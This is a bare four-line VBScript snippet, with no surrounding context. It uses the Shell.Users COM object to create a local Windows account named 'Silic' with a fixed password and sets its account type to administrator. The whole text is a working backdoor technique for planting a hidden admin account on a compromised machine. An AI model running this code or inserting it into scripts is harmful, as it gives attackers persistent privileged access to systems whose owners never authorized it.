Set o=CreateObject( "Shell.Users" )
Set z=o.create("Silic")
z.changePassword "Silic@123456",""
z.setting("AccountType")=3